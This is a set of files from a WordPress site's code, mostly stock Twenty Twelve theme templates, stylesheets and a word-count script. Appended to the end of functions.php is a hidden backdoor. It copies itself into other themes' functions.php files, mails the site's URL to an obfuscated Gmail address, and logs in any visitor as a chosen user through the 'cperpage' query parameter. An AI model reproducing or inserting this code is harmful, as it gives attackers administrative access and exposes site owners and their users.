(function($) { wpWordCount = { settings : { strip : /<[a-zA-Z\/][^<>]*>/g, // strip HTML tags clean : /[0-9.(),;:!?%#$¿'"_+=\\/-]+/g, // regexp to remove punctuation, etc. count : /\S\s+/g // counting regexp }, settingsEastAsia : { count : /[\u3100-\u312F\u31A0-\u31BF\u4E00-\u9FCF\u3400-\u4DBF\uF900-\uFAFF\u2F00-\u2FDF\u2E80-\u2EFF\u31C0-\u31EF\u2FF0-\u2FFF\u1100-\u11FF\uA960-\uA97F\uD780-\uD7FF\u3130-\u318F\uFFA0-\uFFDC\uAC00-\uD7AF\u3040-\u309F\u30A0-\u30FF\u31F0-\u31FF\uFF65-\uFF9F\u3190-\u319F\uA4D0-\uA4FF\uA000-\uA48F\uA490-\uA4CF]/g }, block : 0, wc : function(tx) { var t = this, w = $('.word-count'), tc = 0; if ( t.block ) return; t.block = 1; setTimeout( function() { if ( tx ) { // remove generally useless stuff first tx = tx.replace( t.settings.strip, ' ' ).replace( /&nbsp;|&#160;/gi, ' ' ); // count east asia chars tx = tx.replace( t.settingsEastAsia.count, function(){ tc++; return ''; } ); // count remaining western characters tx = tx.replace( t.settings.clean, '' ); tx.replace( t.settings.count, function(){ tc++; return ''; } ); } w.html(tc.toString()); setTimeout( function() { t.block = 0; }, 2000 ); }, 1 ); } } $(document).bind( 'wpcountwords', function(e, txt) { wpWordCount.wc(txt); }); }(jQuery));
zyblog
trunk/zyblog/wp-content/languages/zh_CN-word-count.dev.js
JavaScript
asf20
1,347
/** * Dashboard General * * .howto remove italic property * remove italic from p.help, p.description, span.description, .form-wrap p * Enlarge font size of dashboard gadgets "configure" link */ .howto { font-style: normal; } p.help, p.description, span.description, .form-wrap p { font-style: normal !important; } .hndle a { font-size: 12px; } /** * Tables * * Remove italic property from tablenav */ .tablenav .displaying-num { font-style: normal; } /** * update-core page * * Enlarge font size, set font-size: normal */ form.upgrade .hint { font-style: normal; font-size: 100%; } /** * Advanced editor form * * More beautiful font-family for screen tagline "Just write." * Enlarge font-size for fullscreen mode texts */ #wp-fullscreen-tagline { font-family: KaiTi, "楷体", sans-serif; } #wp-fullscreen-modes a { font-size: 12px; } /** * Forms * * Form placeholder font-style change */ .js .input-with-default-title { font-style: normal; } /** * Menu editor * * Link to original font-style change */ .link-to-original { font-style: normal; } /** * Media * * Enlarge font-size of sorting text */ #sort-buttons { font-size: 1em !important; } /** * Inline Editing * * font-style change */ .inline-edit-row fieldset span.title, .inline-edit-row fieldset span.checkbox-title { font-style: normal; } /** * Settings > General * * local time and UTC time font-style */ #utc-time, #local-time { font-style: normal; } /** * plugin-install * * font-style fix */ p.install-help { font-style: normal; }
zyblog
trunk/zyblog/wp-content/languages/zh_CN-administration-screens.dev.css
CSS
asf20
1,545
<?php /** * The template for displaying posts in the Link post format * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header><?php _e( 'Link', 'twentytwelve' ); ?></header> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-link.php
PHP
asf20
1,170
<?php /** * Template Name: Front Page Template * * Description: A page template that provides a key component of WordPress as a CMS * by meeting the need for a carefully crafted introductory page. The front page template * in Twenty Twelve consists of a page content area for adding text, images, video -- * anything you'd like -- followed by front-page-only widgets in one or two columns. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php if ( has_post_thumbnail() ) : ?> <div class="entry-page-image"> <?php the_post_thumbnail(); ?> </div><!-- .entry-page-image --> <?php endif; ?> <?php get_template_part( 'content', 'page' ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar( 'front' ); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/page-templates/front-page.php
PHP
asf20
1,004
<?php /** * Template Name: Full-width Page Template, No Sidebar * * Description: Twenty Twelve loves the no-sidebar look as much as * you do. Use this page template to remove the sidebar from any page. * * Tip: to remove the sidebar from all posts and pages simply remove * any active widgets from the Main Sidebar area, and the sidebar will * disappear everywhere. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'page' ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/page-templates/full-width.php
PHP
asf20
817
/* Theme Name: Twenty Twelve Description: Used to style the TinyMCE editor for RTL languages. See also rtl.css file. */ html .mceContentBody { direction: rtl; unicode-bidi: embed; } li { margin: 0 24px 0 0; margin: 0 1.714285714rem 0 0; } dl { margin: 0 24px; margin: 0 1.714285714rem; } tr th { text-align: right; } td { padding: 6px 0 6px 10px; text-align: right; } .wp-caption { text-align: right; }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/editor-style-rtl.css
CSS
asf20
413
<?php /** * Twenty Twelve functions and definitions. * * Sets up the theme and provides some helper functions, which are used * in the theme as custom template tags. Others are attached to action and * filter hooks in WordPress to change core functionality. * * When using a child theme (see http://codex.wordpress.org/Theme_Development and * http://codex.wordpress.org/Child_Themes), you can override certain functions * (those wrapped in a function_exists() call) by defining them first in your child theme's * functions.php file. The child theme's functions.php file is included before the parent * theme's file, so the child theme functions would be used. * * Functions that are not pluggable (not wrapped in function_exists()) are instead attached * to a filter or action hook. * * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ /** * Sets up the content width value based on the theme's design and stylesheet. */ if ( ! isset( $content_width ) ) $content_width = 625; /** * Sets up theme defaults and registers the various WordPress features that * Twenty Twelve supports. * * @uses load_theme_textdomain() For translation/localization support. * @uses add_editor_style() To add a Visual Editor stylesheet. * @uses add_theme_support() To add support for post thumbnails, automatic feed links, * custom background, and post formats. * @uses register_nav_menu() To add support for navigation menus. * @uses set_post_thumbnail_size() To set a custom post thumbnail size. * * @since Twenty Twelve 1.0 */ function twentytwelve_setup() { /* * Makes Twenty Twelve available for translation. * * Translations can be added to the /languages/ directory. * If you're building a theme based on Twenty Twelve, use a find and replace * to change 'twentytwelve' to the name of your theme in all the template files. */ load_theme_textdomain( 'twentytwelve', get_template_directory() . '/languages' ); // This theme styles the visual editor with editor-style.css to match the theme style. add_editor_style(); // Adds RSS feed links to <head> for posts and comments. add_theme_support( 'automatic-feed-links' ); // This theme supports a variety of post formats. add_theme_support( 'post-formats', array( 'aside', 'image', 'link', 'quote', 'status' ) ); // This theme uses wp_nav_menu() in one location. register_nav_menu( 'primary', __( 'Primary Menu', 'twentytwelve' ) ); /* * This theme supports custom background color and image, and here * we also set up the default background color. */ add_theme_support( 'custom-background', array( 'default-color' => 'e6e6e6', ) ); // This theme uses a custom image size for featured images, displayed on "standard" posts. add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 624, 9999 ); // Unlimited height, soft crop } add_action( 'after_setup_theme', 'twentytwelve_setup' ); /** * Adds support for a custom header image. */ require( get_template_directory() . '/inc/custom-header.php' ); /** * Enqueues scripts and styles for front-end. * * @since Twenty Twelve 1.0 */ function twentytwelve_scripts_styles() { global $wp_styles; /* * Adds JavaScript to pages with the comment form to support * sites with threaded comments (when in use). */ if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) wp_enqueue_script( 'comment-reply' ); /* * Adds JavaScript for handling the navigation menu hide-and-show behavior. */ wp_enqueue_script( 'twentytwelve-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '1.0', true ); /* * Loads our special font CSS file. * * The use of Open Sans by default is localized. For languages that use * characters not supported by the font, the font can be disabled. * * To disable in a child theme, use wp_dequeue_style() * function mytheme_dequeue_fonts() { * wp_dequeue_style( 'twentytwelve-fonts' ); * } * add_action( 'wp_enqueue_scripts', 'mytheme_dequeue_fonts', 11 ); */ /* translators: If there are characters in your language that are not supported by Open Sans, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Open Sans font: on or off', 'twentytwelve' ) ) { $subsets = 'latin,latin-ext'; /* translators: To add an additional Open Sans character subset specific to your language, translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language. */ $subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)', 'twentytwelve' ); if ( 'cyrillic' == $subset ) $subsets .= ',cyrillic,cyrillic-ext'; elseif ( 'greek' == $subset ) $subsets .= ',greek,greek-ext'; elseif ( 'vietnamese' == $subset ) $subsets .= ',vietnamese'; $protocol = is_ssl() ? 'https' : 'http'; $query_args = array( 'family' => 'Open+Sans:400italic,700italic,400,700', 'subset' => $subsets, ); wp_enqueue_style( 'twentytwelve-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ), array(), null ); } /* * Loads our main stylesheet. */ wp_enqueue_style( 'twentytwelve-style', get_stylesheet_uri() ); /* * Loads the Internet Explorer specific stylesheet. */ wp_enqueue_style( 'twentytwelve-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentytwelve-style' ), '20121010' ); $wp_styles->add_data( 'twentytwelve-ie', 'conditional', 'lt IE 9' ); } add_action( 'wp_enqueue_scripts', 'twentytwelve_scripts_styles' ); /** * Creates a nicely formatted and more specific title element text * for output in head of document, based on current view. * * @since Twenty Twelve 1.0 * * @param string $title Default title text for current view. * @param string $sep Optional separator. * @return string Filtered title. */ function twentytwelve_wp_title( $title, $sep ) { global $paged, $page; if ( is_feed() ) return $title; // Add the site name. $title .= get_bloginfo( 'name' ); // Add the site description for the home/front page. $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) $title = "$title $sep $site_description"; // Add a page number if necessary. if ( $paged >= 2 || $page >= 2 ) $title = "$title $sep " . sprintf( __( 'Page %s', 'twentytwelve' ), max( $paged, $page ) ); return $title; } add_filter( 'wp_title', 'twentytwelve_wp_title', 10, 2 ); /** * Makes our wp_nav_menu() fallback -- wp_page_menu() -- show a home link. * * @since Twenty Twelve 1.0 */ function twentytwelve_page_menu_args( $args ) { if ( ! isset( $args['show_home'] ) ) $args['show_home'] = true; return $args; } add_filter( 'wp_page_menu_args', 'twentytwelve_page_menu_args' ); /** * Registers our main widget area and the front page widget areas. * * @since Twenty Twelve 1.0 */ function twentytwelve_widgets_init() { register_sidebar( array( 'name' => __( 'Main Sidebar', 'twentytwelve' ), 'id' => 'sidebar-1', 'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'First Front Page Widget Area', 'twentytwelve' ), 'id' => 'sidebar-2', 'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Second Front Page Widget Area', 'twentytwelve' ), 'id' => 'sidebar-3', 'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); } add_action( 'widgets_init', 'twentytwelve_widgets_init' ); if ( ! function_exists( 'twentytwelve_content_nav' ) ) : /** * Displays navigation to next/previous pages when applicable. * * @since Twenty Twelve 1.0 */ function twentytwelve_content_nav( $html_id ) { global $wp_query; $html_id = esc_attr( $html_id ); if ( $wp_query->max_num_pages > 1 ) : ?> <nav id="<?php echo $html_id; ?>" class="navigation" role="navigation"> <h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3> <div class="nav-previous alignleft"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentytwelve' ) ); ?></div> <div class="nav-next alignright"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?></div> </nav><!-- #<?php echo $html_id; ?> .navigation --> <?php endif; } endif; if ( ! function_exists( 'twentytwelve_comment' ) ) : /** * Template for comments and pingbacks. * * To override this walker in a child theme without modifying the comments template * simply create your own twentytwelve_comment(), and that function will be used instead. * * Used as a callback by wp_list_comments() for displaying the comments. * * @since Twenty Twelve 1.0 */ function twentytwelve_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case 'pingback' : case 'trackback' : // Display trackbacks differently than normal comments. ?> <li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>"> <p><?php _e( 'Pingback:', 'twentytwelve' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( '(Edit)', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?></p> <?php break; default : // Proceed with normal comments. global $post; ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <article id="comment-<?php comment_ID(); ?>" class="comment"> <header class="comment-meta comment-author vcard"> <?php echo get_avatar( $comment, 44 ); printf( '<cite class="fn">%1$s %2$s</cite>', get_comment_author_link(), // If current post author is also comment author, make it known visually. ( $comment->user_id === $post->post_author ) ? '<span> ' . __( 'Post author', 'twentytwelve' ) . '</span>' : '' ); printf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>', esc_url( get_comment_link( $comment->comment_ID ) ), get_comment_time( 'c' ), /* translators: 1: date, 2: time */ sprintf( __( '%1$s at %2$s', 'twentytwelve' ), get_comment_date(), get_comment_time() ) ); ?> </header><!-- .comment-meta --> <?php if ( '0' == $comment->comment_approved ) : ?> <p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentytwelve' ); ?></p> <?php endif; ?> <section class="comment-content comment"> <?php comment_text(); ?> <?php edit_comment_link( __( 'Edit', 'twentytwelve' ), '<p class="edit-link">', '</p>' ); ?> </section><!-- .comment-content --> <div class="reply"> <?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'twentytwelve' ), 'after' => ' <span>&darr;</span>', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div><!-- .reply --> </article><!-- #comment-## --> <?php break; endswitch; // end comment_type check } endif; if ( ! function_exists( 'twentytwelve_entry_meta' ) ) : /** * Prints HTML with meta information for current post: categories, tags, permalink, author, and date. * * Create your own twentytwelve_entry_meta() to override in a child theme. * * @since Twenty Twelve 1.0 */ function twentytwelve_entry_meta() { // Translators: used between list items, there is a space after the comma. $categories_list = get_the_category_list( __( ', ', 'twentytwelve' ) ); // Translators: used between list items, there is a space after the comma. $tag_list = get_the_tag_list( '', __( ', ', 'twentytwelve' ) ); $date = sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a>', esc_url( get_permalink() ), esc_attr( get_the_time() ), esc_attr( get_the_date( 'c' ) ), esc_html( get_the_date() ) ); $author = sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>', esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ), esc_attr( sprintf( __( 'View all posts by %s', 'twentytwelve' ), get_the_author() ) ), get_the_author() ); // Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's name. if ( $tag_list ) { $utility_text = __( 'This entry was posted in %1$s and tagged %2$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' ); } elseif ( $categories_list ) { $utility_text = __( 'This entry was posted in %1$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' ); } else { $utility_text = __( 'This entry was posted on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' ); } printf( $utility_text, $categories_list, $tag_list, $date, $author ); } endif; /** * Extends the default WordPress body class to denote: * 1. Using a full-width layout, when no active widgets in the sidebar * or full-width template. * 2. Front Page template: thumbnail in use and number of sidebars for * widget areas. * 3. White or empty background color to change the layout and spacing. * 4. Custom fonts enabled. * 5. Single or multiple authors. * * @since Twenty Twelve 1.0 * * @param array Existing class values. * @return array Filtered class values. */ function twentytwelve_body_class( $classes ) { $background_color = get_background_color(); if ( ! is_active_sidebar( 'sidebar-1' ) || is_page_template( 'page-templates/full-width.php' ) ) $classes[] = 'full-width'; if ( is_page_template( 'page-templates/front-page.php' ) ) { $classes[] = 'template-front-page'; if ( has_post_thumbnail() ) $classes[] = 'has-post-thumbnail'; if ( is_active_sidebar( 'sidebar-2' ) && is_active_sidebar( 'sidebar-3' ) ) $classes[] = 'two-sidebars'; } if ( empty( $background_color ) ) $classes[] = 'custom-background-empty'; elseif ( in_array( $background_color, array( 'fff', 'ffffff' ) ) ) $classes[] = 'custom-background-white'; // Enable custom font class only if the font CSS is queued to load. if ( wp_style_is( 'twentytwelve-fonts', 'queue' ) ) $classes[] = 'custom-font-enabled'; if ( ! is_multi_author() ) $classes[] = 'single-author'; return $classes; } add_filter( 'body_class', 'twentytwelve_body_class' ); /** * Adjusts content_width value for full-width and single image attachment * templates, and when there are no active widgets in the sidebar. * * @since Twenty Twelve 1.0 */ function twentytwelve_content_width() { if ( is_page_template( 'page-templates/full-width.php' ) || is_attachment() || ! is_active_sidebar( 'sidebar-1' ) ) { global $content_width; $content_width = 960; } } add_action( 'template_redirect', 'twentytwelve_content_width' ); /** * Add postMessage support for site title and description for the Theme Customizer. * * @since Twenty Twelve 1.0 * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * @return void */ function twentytwelve_customize_register( $wp_customize ) { $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; } add_action( 'customize_register', 'twentytwelve_customize_register' ); /** * Binds JS handlers to make Theme Customizer preview reload changes asynchronously. * * @since Twenty Twelve 1.0 */ function twentytwelve_customize_preview_js() { wp_enqueue_script( 'twentytwelve-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20120827', true ); } add_action( 'customize_preview_init', 'twentytwelve_customize_preview_js' ); ?> <?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/functions.php
PHP
asf20
25,570
<?php /** * The template for displaying Author Archive pages. * * Used to display archive-type pages for posts by an author. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <section id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <?php /* Queue the first post, that way we know * what author we're dealing with (if that is the case). * * We reset this later so we can run the loop * properly with a call to rewind_posts(). */ the_post(); ?> <header class="archive-header"> <h1 class="archive-title"><?php printf( __( 'Author Archives: %s', 'twentytwelve' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( "ID" ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1> </header><!-- .archive-header --> <?php /* Since we called the_post() above, we need to * rewind the loop back to the beginning that way * we can run the loop properly, in full. */ rewind_posts(); ?> <?php twentytwelve_content_nav( 'nav-above' ); ?> <?php // If a user has filled out their description, show a bio on their entries. if ( get_the_author_meta( 'description' ) ) : ?> <div class="author-info"> <div class="author-avatar"> <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentytwelve_author_bio_avatar_size', 60 ) ); ?> </div><!-- .author-avatar --> <div class="author-description"> <h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2> <p><?php the_author_meta( 'description' ); ?></p> </div><!-- .author-description --> </div><!-- .author-info --> <?php endif; ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <?php get_template_part( 'content', 'none' ); ?> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/author.php
PHP
asf20
2,340
<?php /** * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'page' ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/page.php
PHP
asf20
726
